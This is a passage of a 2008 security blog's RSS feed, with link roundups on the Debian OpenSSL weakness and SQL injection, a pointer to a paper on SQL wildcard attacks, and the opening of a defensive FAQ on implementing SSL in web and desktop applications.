/&gt; &lt;a href="http://twitter.com/fmavituna/statuses/814775730"&gt;9:23 AM&lt;/a&gt;: fmavituna: lol - &lt;a href="http://www.thinkgeek.com/apparel/jewelry/a38d/"&gt;http://www.thinkgeek.com/apparel/jewelry/a38d/&lt;/a&gt;    &lt;br /&gt;&lt;img alt="twitter" src="http://www.profilactic.com/images/favicons/twitter.gif" align="absMiddle"  /&gt; &lt;a href="http://twitter.com/fmavituna/statuses/814749440"&gt;8:23 AM&lt;/a&gt;: fmavituna: yay new FF update! &lt;/p&gt;  &lt;p&gt;&lt;img alt="Google Reader" src="http://www.profilactic.com/images/favicons/greader.gif" align="absMiddle"  /&gt; &lt;a href="http://feeds.feedburner.com/%7Er/fmavituna/%7E3/293640525/"&gt;SQL Wildcard Saldırıları&lt;/a&gt;    &lt;br /&gt;&lt;img alt="Google Reader" src="http://www.profilactic.com/images/favicons/greader.gif" align="absMiddle"  /&gt; &lt;a href="http://www.schneier.com/blog/archives/2008/05/random_number_b.html"&gt;Random Number Bug in Debian Linux&lt;/a&gt;    &lt;br /&gt;&lt;img alt="Google Reader" src="http://www.profilactic.com/images/favicons/greader.gif" align="absMiddle"  /&gt; &lt;a href="http://go.theregister.com/feed/www.theregister.co.uk/2008/05/19/defacement_crew_cuffed/"&gt;Spanish police cuff web defacement crew&lt;/a&gt;    &lt;br /&gt;&lt;img alt="Google Reader" src="http://www.profilactic.com/images/favicons/greader.gif" align="absMiddle"  /&gt; &lt;a href="http://planet-websecurity.org/Website+Defacement+Group+Arrested+After+Going+too+far/"&gt;Website Defacement Group Arrested After Going too far&lt;/a&gt;    &lt;br /&gt;&lt;img alt="Google Reader" src="http://www.profilactic.com/images/favicons/greader.gif" align="absMiddle"  /&gt; &lt;a href="http://lupuss.us/advisories/phishing-nedir-ne-amacla-kullanilir-anlatimi.pl"&gt;Phishing Nedir ? Ne Ama&amp;#231;la Kullanılır , Anlatımı&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;a href="http://feedads.g.doubleclick.net/~a/gMnTtPJIhtD0yNNwo-dPXU4DKSk/0/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/gMnTtPJIhtD0yNNwo-dPXU4DKSk/0/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;br/&gt;
&lt;a href="http://feedads.g.doubleclick.net/~a/gMnTtPJIhtD0yNNwo-dPXU4DKSk/1/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/gMnTtPJIhtD0yNNwo-dPXU4DKSk/1/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;/p&gt;&lt;div class="feedflare"&gt;
&lt;a href="http://feeds.feedburner.com/~f/fmavituna?a=TeL9MzJr"&gt;&lt;img src="http://feeds.feedburner.com/~f/fmavituna?d=41" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~f/fmavituna?a=36hxQ9ff"&gt;&lt;img src="http://feeds.feedburner.com/~f/fmavituna?d=50" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~f/fmavituna?a=TpHwsfiL"&gt;&lt;img src="http://feeds.feedburner.com/~f/fmavituna?d=43" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~f/fmavituna?a=DolH1wXx"&gt;&lt;img src="http://feeds.feedburner.com/~f/fmavituna?i=DolH1wXx" border="0"&gt;&lt;/img&gt;&lt;/a&gt;
&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/fmavituna/~4/fpEgbmXPDDU" height="1" width="1"/&gt;</description>
  <guid isPermaLink="false">http://ferruh.mavituna.com/gunluk-maceralar-18-21-05-08-oku/</guid>
  <comments>http://ferruh.mavituna.com/gunluk-maceralar-18-21-05-08-oku/#comments</comments>
<feedburner:origLink>http://ferruh.mavituna.com/gunluk-maceralar-18-21-05-08-oku/</feedburner:origLink></item>
<item>
  <title>SQL Wildcard Saldırıları</title>
  <link>http://feedproxy.google.com/~r/fmavituna/~3/xM4re9BiMdI/</link>
  <author>Ferruh Mavituna</author>
  <pubDate>Pzt, 19 May 2008 20:12:55 +0300</pubDate>
  <description>&lt;p&gt;&amp;#214;zellikle arka planında MS SQL Server veritabanı &amp;#231;alışan web uygulamalarının &amp;#231;ok geniş bir b&amp;#246;l&amp;#252;m&amp;#252;n&amp;#252;n a&amp;#231;ık olduğu bir a&amp;#231;ık bu. Konuyu detaylı şekilde &amp;#246;rneklerle yazmaya &amp;#231;alıştım. Eğer bir geliştiriciyseniz hemen gidin ve uygulamanızı yamayın eğer bir g&amp;#252;venlik&amp;#231;iyseniz de bunu test listenize ekleyin.&lt;/p&gt;  &lt;p&gt;Maalesef dok&amp;#252;man T&amp;#252;rk&amp;#231;e değil, İngilizce olarak &lt;a href="http://www.portcullis.co.uk/uplds/wildcard_attacks.pdf"&gt;DoS attacks using SQL Wildcards' ı download edin&lt;/a&gt;&lt;strong&gt;.&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;a href="http://feedads.g.doubleclick.net/~a/akMz-yVNf7nrE1N5JWVdiEVcImg/0/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/akMz-yVNf7nrE1N5JWVdiEVcImg/0/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;br/&gt;
&lt;a href="http://feedads.g.doubleclick.net/~a/akMz-yVNf7nrE1N5JWVdiEVcImg/1/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/akMz-yVNf7nrE1N5JWVdiEVcImg/1/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;/p&gt;&lt;div class="feedflare"&gt;
&lt;a href="http://feeds.feedburner.com/~f/fmavituna?a=HLg70pVe"&gt;&lt;img src="http://feeds.feedburner.com/~f/fmavituna?d=41" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~f/fmavituna?a=3v6RKKAx"&gt;&lt;img src="http://feeds.feedburner.com/~f/fmavituna?d=50" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~f/fmavituna?a=1JFOtZib"&gt;&lt;img src="http://feeds.feedburner.com/~f/fmavituna?d=43" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~f/fmavituna?a=3oA6rMYB"&gt;&lt;img src="http://feeds.feedburner.com/~f/fmavituna?i=3oA6rMYB" border="0"&gt;&lt;/img&gt;&lt;/a&gt;
&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/fmavituna/~4/xM4re9BiMdI" height="1" width="1"/&gt;</description>
  <guid isPermaLink="false">http://ferruh.mavituna.com/sql-wildcard-saldirilari-oku/</guid>
  <comments>http://ferruh.mavituna.com/sql-wildcard-saldirilari-oku/#comments</comments>
<feedburner:origLink>http://ferruh.mavituna.com/sql-wildcard-saldirilari-oku/</feedburner:origLink></item>
<item>
  <title>Günlük Maceralar - 18.05.08</title>
  <link>http://feedproxy.google.com/~r/fmavituna/~3/W7_5mswPiW8/</link>
  <author>Ferruh Mavituna</author>
  <pubDate>Pzt, 19 May 2008 02:25:50 +0300</pubDate>
  <description>&lt;p&gt;18 May 2008&lt;/p&gt;  &lt;p&gt;&lt;img alt="twitter" src="http://www.profilactic.com/images/favicons/twitter.gif" align="absMiddle"  /&gt; &lt;a href="http://twitter.com/fmavituna/statuses/814116596"&gt;10:49 AM&lt;/a&gt;: fmavituna: waiting for bbq to be ready    &lt;br /&gt;&lt;img alt="Bookmarks" src="http://www.profilactic.com/images/favicons/diigo.gif" align="absMiddle"  /&gt; &lt;a href="http://hoanghaivm.wordpress.com/net/custom-configuration-for-net-20"&gt;Custom configuration for NET 2.0 &amp;#171; Incomplete Leo&lt;/a&gt;    &lt;br /&gt;&lt;img alt="Bookmarks" src="http://www.profilactic.com/images/favicons/diigo.gif" align="absMiddle"  /&gt; &lt;a href="http://www.pluralsight.com/wiki/default.aspx/Craig/XmlSerializerSectionHandler.html"&gt;Xml Serializer Section Handler&lt;/a&gt;    &lt;br /&gt;&lt;img alt="Bookmarks" src="http://www.profilactic.com/images/favicons/diigo.gif" align="absMiddle"  /&gt; &lt;a href="http://wiki.webgear.co.nz/Default.aspx?Page=ClassFromConfig&amp;amp;AspxAutoDetectCookieSupport=1"&gt;Class From Config for C#.NET - wiki.webgear.co.nz&lt;/a&gt;    &lt;br /&gt;&lt;img alt="Bookmarks" src="http://www.profilactic.com/images/favicons/diigo.gif" align="absMiddle"  /&gt; &lt;a href="http://geekswithblogs.net/akraus1/articles/74319.aspx"&gt;Assembly.LoadFrom demystified&lt;/a&gt;    &lt;br /&gt;&lt;img alt="Bookmarks" src="http://www.profilactic.com/images/favicons/diigo.gif" align="absMiddle"  /&gt; &lt;a href="http://geekswithblogs.net/akraus1/articles/62869.aspx"&gt;Microsoft Enterprise Library for .NET 2.0: Configuration&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;a href="http://feedads.g.doubleclick.net/~a/HN15q5gCk8_ajnjZdhHb7YCKhZg/0/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/HN15q5gCk8_ajnjZdhHb7YCKhZg/0/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;br/&gt;
&lt;a href="http://feedads.g.doubleclick.net/~a/HN15q5gCk8_ajnjZdhHb7YCKhZg/1/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/HN15q5gCk8_ajnjZdhHb7YCKhZg/1/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;/p&gt;&lt;div class="feedflare"&gt;
&lt;a href="http://feeds.feedburner.com/~f/fmavituna?a=bMRyHKhz"&gt;&lt;img src="http://feeds.feedburner.com/~f/fmavituna?d=41" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~f/fmavituna?a=lNTTRdMP"&gt;&lt;img src="http://feeds.feedburner.com/~f/fmavituna?d=50" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~f/fmavituna?a=Ir6zj79r"&gt;&lt;img src="http://feeds.feedburner.com/~f/fmavituna?d=43" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~f/fmavituna?a=1d4PxC3S"&gt;&lt;img src="http://feeds.feedburner.com/~f/fmavituna?i=1d4PxC3S" border="0"&gt;&lt;/img&gt;&lt;/a&gt;
&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/fmavituna/~4/W7_5mswPiW8" height="1" width="1"/&gt;</description>
  <guid isPermaLink="false">http://ferruh.mavituna.com/gunluk-maceralar-18-05-08-oku/</guid>
  <comments>http://ferruh.mavituna.com/gunluk-maceralar-18-05-08-oku/#comments</comments>
<feedburner:origLink>http://ferruh.mavituna.com/gunluk-maceralar-18-05-08-oku/</feedburner:origLink></item>
<item>
  <title>Günlük Maceralar</title>
  <link>http://feedproxy.google.com/~r/fmavituna/~3/Lj11VxlLtK8/</link>
  <author>Ferruh Mavituna</author>
  <pubDate>Cmt, 17 May 2008 11:20:03 +0300</pubDate>
  <description>&lt;p&gt;Bundan sonra her g&amp;#252;n&amp;#252;n sonunda o g&amp;#252;nk&amp;#252; diğer paylaşımlarımı da buradan not d&amp;#252;şmeye karar verdim. İnşallah her g&amp;#252;n&amp;#252;n sonunda bu şekilde bir yazı olacak.&lt;/p&gt;  &lt;p&gt;&lt;strong&gt;17 May 2008&lt;/strong&gt;&lt;/p&gt;  &lt;p&gt;&lt;img alt="Bookmarks" src="http://www.profilactic.com/images/favicons/diigo.gif" align="absMiddle"  /&gt; &lt;a href="https://www.owasp.org/index.php/WCF_Security_Best_Practices"&gt;WCF Security Best Practices - OWASP&lt;/a&gt;    &lt;br /&gt;&lt;img alt="Bookmarks" src="http://www.profilactic.com/images/favicons/diigo.gif" align="absMiddle"  /&gt;&amp;#160;&lt;a href="http://www.h-labs.org/blog/2008/05/17/gvenlik_ve_paranoya.html"&gt;G&amp;#252;venlik ve Paranoya&lt;/a&gt;    &lt;br /&gt;&lt;img alt="Google Reader" src="http://www.profilactic.com/images/favicons/greader.gif" align="absMiddle"  /&gt; &lt;a href="http://feeds.feedburner.com/%7Er/ScottHanselman/%7E3/292114739/11TopTipsForASuccessfulTechnicalPresentation.aspx"&gt;11 Top Tips for a Successful Technical Presentation&lt;/a&gt;&lt;/p&gt;  &lt;p&gt;&lt;strong&gt;16 May 2008&lt;/strong&gt;&lt;/p&gt;  &lt;p&gt;&lt;img alt="twitter" src="http://www.profilactic.com/images/favicons/twitter.gif" align="absMiddle"  /&gt; &lt;a href="http://twitter.com/fmavituna/statuses/812684881"&gt;11:39 AM&lt;/a&gt;: fmavituna: this is one is pretty fast : &lt;a href="http://tinyurl.com/5fxdkj"&gt;http://tinyurl.com/5fxdkj&lt;/a&gt;    &lt;br /&gt;&lt;img alt="twitter" src="http://www.profilactic.com/images/favicons/twitter.gif" align="absMiddle"  /&gt; &lt;a href="http://twitter.com/fmavituna/statuses/812684151"&gt;11:38 AM&lt;/a&gt;: fmavituna: just seen a test box been owned because of debian weak key stuff, that's pretty cool.     &lt;br /&gt;&lt;img alt="twitter" src="http://www.profilactic.com/images/favicons/twitter.gif" align="absMiddle"  /&gt; &lt;a href="http://twitter.com/fmavituna/statuses/812674375"&gt;11:19 AM&lt;/a&gt;: fmavituna: just installed latest w3af from latest svn, it looks good but configuring tests are soooo boring and takes ages     &lt;br /&gt;&lt;img alt="Bookmarks" src="http://www.profilactic.com/images/favicons/diigo.gif" align="absMiddle"  /&gt; &lt;a href="http://www.abstractspoon.com"&gt;Welcome to AbstractSpoon Software - Where everything is&lt;/a&gt;    &lt;br /&gt;&lt;img alt="Google Reader" src="http://www.profilactic.com/images/favicons/greader.gif" align="absMiddle"  /&gt; &lt;a href="http://feeds.feedburner.com/%7Er/GunesinTamIcinde/%7E3/291252231/"&gt;Esperanto | Umutların Evrensel Dili&lt;/a&gt;    &lt;br /&gt;&lt;img alt="Google Reader" src="http://www.profilactic.com/images/favicons/greader.gif" align="absMiddle"  /&gt; &lt;a href="http://xkcd.com/424/"&gt;Security Holes&lt;/a&gt;&lt;/p&gt;  &lt;p&gt;&lt;strong&gt;15 May 2008&lt;/strong&gt;&lt;/p&gt;  &lt;p&gt;&lt;img alt="twitter" src="http://www.profilactic.com/images/favicons/twitter.gif" align="absMiddle"  /&gt; &lt;a href="http://twitter.com/fmavituna/statuses/811742469"&gt;8:09 AM&lt;/a&gt;: fmavituna: this is worse than I thought &amp;quot;the only &amp;quot;random&amp;quot; value that was used was the current process ID&amp;quot; - &lt;a href="http://tinyurl.com/5httdb"&gt;http://tinyurl.com/5httdb&lt;/a&gt;    &lt;br /&gt;&lt;img alt="Bookmarks" src="http://www.profilactic.com/images/favicons/diigo.gif" align="absMiddle"  /&gt; &lt;a href="http://www.codeproject.com/KB/dotnet/DotnetInternals_Injection.aspx?fid=1315398&amp;amp;select=2554044"&gt;CodeProject: .NET Internals and Code Injection. Free source code and programming help&lt;/a&gt;    &lt;br /&gt;&lt;img alt="Bookmarks" src="http://www.profilactic.com/images/favicons/diigo.gif" align="absMiddle"  /&gt; &lt;a href="http://www.codeproject.com/KB/msil/reflexil.aspx"&gt;CodeProject: Assembly Manipulation and C#/VB.NET Code Injection. Free source code and programming help&lt;/a&gt;    &lt;br /&gt;&lt;img alt="Bookmarks" src="http://www.profilactic.com/images/favicons/diigo.gif" align="absMiddle"  /&gt; &lt;a href="http://php.oregonstate.edu/manual/en/wrappers.php"&gt;PHP: List of Supported Protocols/Wrappers - Manual&lt;/a&gt;    &lt;br /&gt;&lt;img alt="Bookmarks" src="http://www.profilactic.com/images/favicons/diigo.gif" align="absMiddle"  /&gt; &lt;a href="http://metasploit.com/users/hdm/tools/debian-openssl"&gt;Debian OpenSSL Predictable PRNG Toys&lt;/a&gt;    &lt;br /&gt;&lt;img alt="Google Reader" src="http://www.profilactic.com/images/favicons/greader.gif" align="absMiddle"  /&gt; &lt;a href="http://blogs.msdn.com/sdl/archive/2008/05/15/giving-sql-injection-the-respect-it-deserves.aspx"&gt;Giving SQL Injection the Respect it Deserves&lt;/a&gt;    &lt;br /&gt;&lt;img alt="Google Reader" src="http://www.profilactic.com/images/favicons/greader.gif" align="absMiddle"  /&gt; &lt;a href="http://www.gnucitizen.org/blog/ghost-busters/"&gt;Ghost Busters&lt;/a&gt;    &lt;br /&gt;&lt;img alt="Google Reader" src="http://www.profilactic.com/images/favicons/greader.gif" align="absMiddle"  /&gt; &lt;a href="http://www.dotnetkicks.com/clr/String_Format_Made_Simple"&gt;String Format - Made Simple&lt;/a&gt;    &lt;br /&gt;&lt;img alt="Google Reader" src="http://www.profilactic.com/images/favicons/greader.gif" align="absMiddle"  /&gt; &lt;a href="http://feeds.feedburner.com/%7Er/SecurityDatabaseToolsWatch/%7E3/290859714/OphCrack-3-in-the-wild.html"&gt;OphCrack 3.0 in the wild&lt;/a&gt;    &lt;br /&gt;&lt;img alt="Google Reader" src="http://www.profilactic.com/images/favicons/greader.gif" align="absMiddle"  /&gt; &lt;a href="http://www.schneier.com/blog/archives/2008/05/the_ethics_of_v.html"&gt;The Ethics of Vulnerability Research&lt;/a&gt;    &lt;br /&gt;&lt;img alt="Google Reader" src="http://www.profilactic.com/images/favicons/greader.gif" align="absMiddle"  /&gt; &lt;a href="http://www.darknet.org.uk/2008/05/new-botnet-malware-spreading-sql-injection-attack-tool/"&gt;New Botnet Malware Spreading SQL Injection Attack Tool&lt;/a&gt;    &lt;br /&gt;&lt;img alt="Google Reader" src="http://www.profilactic.com/images/favicons/greader.gif" align="absMiddle"  /&gt; &lt;a href="http://pentestmonkey.net/index.php?option=com_content&amp;amp;task=view&amp;amp;id=107&amp;amp;Itemid=1"&gt;Metasploit Release Database of Weak SSH Keys for Debian OpenSSL Vuln&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;a href="http://feedads.g.doubleclick.net/~a/4zClogSVeQrUZZKJvQnodE8nsP8/0/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/4zClogSVeQrUZZKJvQnodE8nsP8/0/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;br/&gt;
&lt;a href="http://feedads.g.doubleclick.net/~a/4zClogSVeQrUZZKJvQnodE8nsP8/1/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/4zClogSVeQrUZZKJvQnodE8nsP8/1/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;/p&gt;&lt;div class="feedflare"&gt;
&lt;a href="http://feeds.feedburner.com/~f/fmavituna?a=hL2CvXqp"&gt;&lt;img src="http://feeds.feedburner.com/~f/fmavituna?d=41" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~f/fmavituna?a=elKb7VHk"&gt;&lt;img src="http://feeds.feedburner.com/~f/fmavituna?d=50" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~f/fmavituna?a=yFQtwgtA"&gt;&lt;img src="http://feeds.feedburner.com/~f/fmavituna?d=43" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~f/fmavituna?a=lHgua867"&gt;&lt;img src="http://feeds.feedburner.com/~f/fmavituna?i=lHgua867" border="0"&gt;&lt;/img&gt;&lt;/a&gt;
&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/fmavituna/~4/Lj11VxlLtK8" height="1" width="1"/&gt;</description>
  <guid isPermaLink="false">http://ferruh.mavituna.com/gunluk-maceralar-oku/</guid>
  <comments>http://ferruh.mavituna.com/gunluk-maceralar-oku/#comments</comments>
<feedburner:origLink>http://ferruh.mavituna.com/gunluk-maceralar-oku/</feedburner:origLink></item>
<item>
  <title><img src="/mg/icons/star.gif" alt="Süper Makale" class="abs" /> SSL Implementation Security FAQ</title>
  <link>http://feedproxy.google.com/~r/fmavituna/~3/UNadZLSVvEg/</link>
  <author>Ferruh Mavituna</author>
  <pubDate>Çar, 14 May 2008 20:38:27 +0300</pubDate>
  <description>&lt;p&gt;SSL Implementation Security FAQ is about implementing SSL in web and desktop applications. This FAQ doesn&amp;#8217;t cover issues directly related with SSL/TLS. Only covers issues related with implementing SSL in applications.&lt;/p&gt;  &lt;p&gt;Most of these are common mistakes during the implementation of SSL in the applications. These recommendations are especially critical for e-banking, e-commerce and similar websites.&lt;/p&gt;  &lt;ul&gt;   &lt;li&gt;&lt;a href="#_Toc198392034"&gt;Is it secure switch back to HTTP after login over HTTPS?.&lt;/a&gt;&lt;/li&gt;    &lt;li&gt;&lt;a href="#_Toc198392035"&gt;Can I put my Login form to HTTP and target my form to HTTPS?&lt;/a&gt;&lt;/li&gt;    &lt;li&gt;&lt;a href="#_Toc198392036"&gt;What&amp;#8217;s the best way to secure an SSL website?&lt;/a&gt;&lt;/li&gt;    &lt;li&gt;&lt;a href="#_Toc198392037"&gt;How cookies and SSL play together?&lt;/a&gt;&lt;/li&gt;    &lt;li&gt;&lt;a href="#_Toc198392038"&gt;How to Implement SSL in non Web Applications?&lt;/a&gt;&lt;/li&gt;    &lt;li&gt;&lt;a href="#_Toc198392039"&gt;Should I implement SSL support to non Web Applications?&lt;/a&gt;&lt;/li&gt;    &lt;li&gt;&lt;a href="#_Toc198392040"&gt;Can I put an order form designed for offline usage to print over non SSL?&lt;/a&gt;&lt;/li&gt;    &lt;li&gt;&lt;a href="#_Toc198392041"&gt;Should I support weak ciphers?&lt;/a&gt;&lt;/li&gt;    &lt;li&gt;&lt;a href="#_Toc198392042"&gt;Can I support weak ciphers in web server level but restrict access to the application when someone uses weak ciphers?&lt;/a&gt;&lt;/li&gt;    &lt;li&gt;&lt;a href="#_Toc198392043"&gt;ActiveX Security and SSL&lt;/a&gt;&lt;/li&gt;    &lt;li&gt;&lt;a href="#_Toc198392044"&gt;Download, MD5 Signatures and SSL&lt;/a&gt;&lt;/li&gt;    &lt;li&gt;&lt;a href="#_Toc198392045"&gt;Trusted Zone Required Applications and SSL&lt;/a&gt;&lt;/li&gt;    &lt;li&gt;&lt;a href="#_Toc198392046"&gt;3&lt;sup&gt;rd&lt;/sup&gt; Party Browser Add-ins and SSL&lt;/a&gt;&lt;/li&gt;    &lt;li&gt;&lt;a href="#_Toc198392047"&gt;Why mixed content (HTTP and HTTPS) is dangerous in one page?&lt;/a&gt;&lt;/li&gt;    &lt;li&gt;&lt;a href="#_Toc198392048"&gt;Should I trust websites which pops-up some SSL warning?&lt;/a&gt;&lt;/li&gt;    &lt;li&gt;&lt;a href="#_Toc198392049"&gt;Is SSL just for authentication required applications?&lt;/a&gt;&lt;/li&gt;    &lt;li&gt;&lt;a href="#_Toc198392050"&gt;Is SSL only about Encryption?&lt;/a&gt;&lt;/li&gt;    &lt;li&gt;&lt;a href="#_Toc198392051"&gt;Should I disable HTTP access?&lt;/a&gt;&lt;/li&gt; &lt;/ul&gt;  &lt;h3&gt;&lt;/h3&gt;  &lt;h3&gt;&lt;a name="_Toc198392034"&gt;Is it secure switch back to HTTP after login over HTTPS?&lt;/a&gt;&lt;/h3&gt;  &lt;p&gt;&lt;b&gt;No it is not. &lt;/b&gt;All communication during the authentication and after authentication should be over SSL. &lt;/p&gt;  &lt;p&gt;There are several reasons:&lt;/p&gt;  &lt;ul&gt;   &lt;li&gt;After login authenticated pages might include &lt;b&gt;private information&lt;/b&gt;;&lt;/li&gt;    &lt;li&gt;To able to keep you logged application should use some sorts of session cookie. This can be over URL or in HTTP Headers but it doesn&amp;#8217;t matter where it is an attacker can see it and use it. Which will cause an attacker to &lt;b&gt;hijack active session&lt;/b&gt; and use. This can be done in several ways. If application uses a session hijacking protection &lt;a href="http://www.portcullis-security.com/uplds/whitepapers/XSSTunnelling.pdf"&gt;XSS Tunnelling&lt;/a&gt; can help an attacker to bypass this protection.&lt;/li&gt;    &lt;li&gt;An attacker can change responses in the authenticated section and can show a login screen and may require user to enter they password again and steal their passwords. This can be done by injecting a JavaScript to HTTP responses.&lt;/li&gt; &lt;/ul&gt;  &lt;p&gt;&lt;i&gt;Previously this mistake has been done by Google Gmail. &lt;/i&gt;&lt;/p&gt;  &lt;h3&gt;&lt;a name="_Toc198392035"&gt;Can I put my Login form to HTTP and target my form to HTTPS?&lt;/a&gt;&lt;/h3&gt;  &lt;p&gt;&lt;b&gt;No&lt;/b&gt;, that&amp;#8217;s just a terrible idea and almost pointless. This is common mistake has been done by several major websites such as &lt;a href="http://www.godaddy.com/"&gt;Godaddy&lt;/a&gt;. &lt;/p&gt;  &lt;ul&gt;   &lt;li&gt;An attacker can modify response before arrives to user and then inject a piece of JavaScript code to steal credentials before user submits it. MITM possibilities are endless there are several ways to do nasty stuff in this situation.&lt;/li&gt;    &lt;li&gt;User will not know that they are sending the form to HTTPS URL thus they might believe something is wrong or even worse they might get used to it and fall for any phising attack over HTTP.&lt;/li&gt;    &lt;li&gt;Website users &lt;b&gt;should stick with one URL&lt;/b&gt; to login &lt;b&gt;and form URL and the target URL should be over SSL&lt;/b&gt;.&lt;/li&gt; &lt;/ul&gt;  &lt;h3&gt;&lt;a name="_Toc198392036"&gt;What&amp;#8217;s the best way to secure an SSL website?&lt;/a&gt;&lt;/h3&gt;  &lt;p&gt;Disable HTTP access to the domain, don&amp;#8217;t even redirect or link it to SSL. Just inform the users this website is not accessible over HTTP and they have to access it over SSL.&lt;/p&gt;  &lt;p&gt;This is the best practice against MITM and phising attacks. This way your users will be educated that application never accessible over HTTP and when they come across to a phising or MITM attack they will know something is wrong.&lt;/p&gt;  &lt;p&gt;One of the best ways to protect your application against MITM attacks and phising attacks is educating your users.&lt;/p&gt;  &lt;h3&gt;&lt;a name="_Toc198392037"&gt;How cookies and SSL play together?&lt;/a&gt;&lt;/h3&gt;  &lt;p&gt;&lt;b&gt;You should always mark your cookies as secure. &lt;/b&gt;Otherwise you&amp;#8217;ve got a big security risk. Marking cookies as secure will prevent browsers to sending cookies over non SSL connections.&lt;/p&gt;  &lt;p&gt;An attacker can force someone to do a connection over HTTP to steal their cookies and generally cookies carries of session critical information such as Session ID. Thus preventing this attack and marking cookies as secure is quite important.&lt;/p&gt;  &lt;h3&gt;&lt;a name="_Toc198392038"&gt;How to Implement SSL in non Web Applications?&lt;/a&gt;&lt;/h3&gt;  &lt;p&gt;&lt;b&gt;Your application should not trust non-valid certificates&lt;/b&gt;, if you allow this MITM attacks will be successful against your application. Depending application features and requirements this can lead Remote Code Execution easily. &lt;/p&gt;  &lt;p&gt;I&amp;#8217;ve seen this problem in many of bespoke applications. Generally developers leave support for non-valid certificates for testing purposes and deploy it like that. By default many of the underlying API won&amp;#8217;t accept connections to non-validated certificated applications, it&amp;#8217;s a good idea to keep it like that.&lt;/p&gt;  &lt;h3&gt;&lt;a name="_Toc198392039"&gt;Should I implement SSL support to non Web Applications?&lt;/a&gt;&lt;/h3&gt;  &lt;p&gt;&lt;b&gt;Yes you should, &lt;/b&gt;depending on the functionality it&amp;#8217;s quite possible to do remote code execution because of non SSL connections.&lt;/p&gt;  &lt;p&gt;Two following actions are highly vulnerable to this problem:&lt;/p&gt;  &lt;p&gt;&amp;#183; Auto-update functionality of the application,&lt;/p&gt;  &lt;p&gt;&amp;#183; Rendering a remote HTML in local-zone with Web Browser Control or in a similar control. Don&amp;#8217;t forget &lt;b&gt;every application is vulnerable to Cross-site Scripting&lt;/b&gt; if they are not over SSL!&lt;/p&gt;  &lt;p&gt;&lt;a href="http://seclists.org/fulldisclosure/2007/May/0535.html"&gt;Firefox was vulnerable to this&lt;/a&gt;, another &lt;a href="http://www.mwrinfosecurity.com/publications/mwri_national-rail-enquiries-gadget-advisory_2008-04-24.pdf"&gt;similar one identified in a Vista Gadget&lt;/a&gt;. &lt;/p&gt;  &lt;h3&gt;&lt;a name="_Toc198392040"&gt;Can I put an order form designed for offline usage to print over non SSL?&lt;/a&gt;&lt;/h3&gt;  &lt;p&gt;You might think putting a simple order form without a submit but designed to print and post over non-SSL could be secure, but guess what &lt;b&gt;it&amp;#8217;s not secure at all&lt;/b&gt;! &lt;/p&gt;  &lt;p&gt;An attacker can inject a piece of JavaScript to this request, can log every single keystroke and send them to attacker&amp;#8217;s website automatically. Thus you shouldn&amp;#8217;t put an order form or any similar form which requires private information such Credit Card details, address, phone numbers etc.&lt;/p&gt;  &lt;p&gt;In a similar way putting an offline order form such as PDF file to over non-SSL URL is another bad practice since attack can send this PDF file on the fly and modify post address or similar information to get benefit out of it.&lt;/p&gt;  &lt;p&gt;This is common problem with banking websites where they provide these kind of forms over non-SSL connections.&lt;/p&gt;  &lt;h3&gt;&lt;a name="_Toc198392041"&gt;Should I support weak ciphers?&lt;/a&gt;&lt;/h3&gt;  &lt;p&gt;&lt;b&gt;No you should not&lt;/b&gt;. Main reason behind of supporting these ciphers is supporting old browsers but supporting old browsers is a terrible idea since the internet is full client-side exploits for old browser. &lt;/p&gt;  &lt;p&gt;Which means a user with an old browser is potentially infected by a malware already. Remove support for weak ciphers from your web server.&lt;/p&gt;  &lt;p&gt;Paypal announced that they don&amp;#8217;t support old browsers any more.&lt;/p&gt;  &lt;h3&gt;&lt;a name="_Toc198392042"&gt;Can I support weak ciphers in web server level but restrict access to the application when someone uses weak ciphers?&lt;/a&gt;&lt;/h3&gt;  &lt;p&gt;&lt;b&gt;No you should not do that&lt;/b&gt;. This is a process where web server supports connection with weak ciphers but application informs that user can not continue unless they change their browser and come establish a new connection with a stronger cipher. &lt;/p&gt;  &lt;p&gt;These ciphers are called as &amp;#8220;Weak 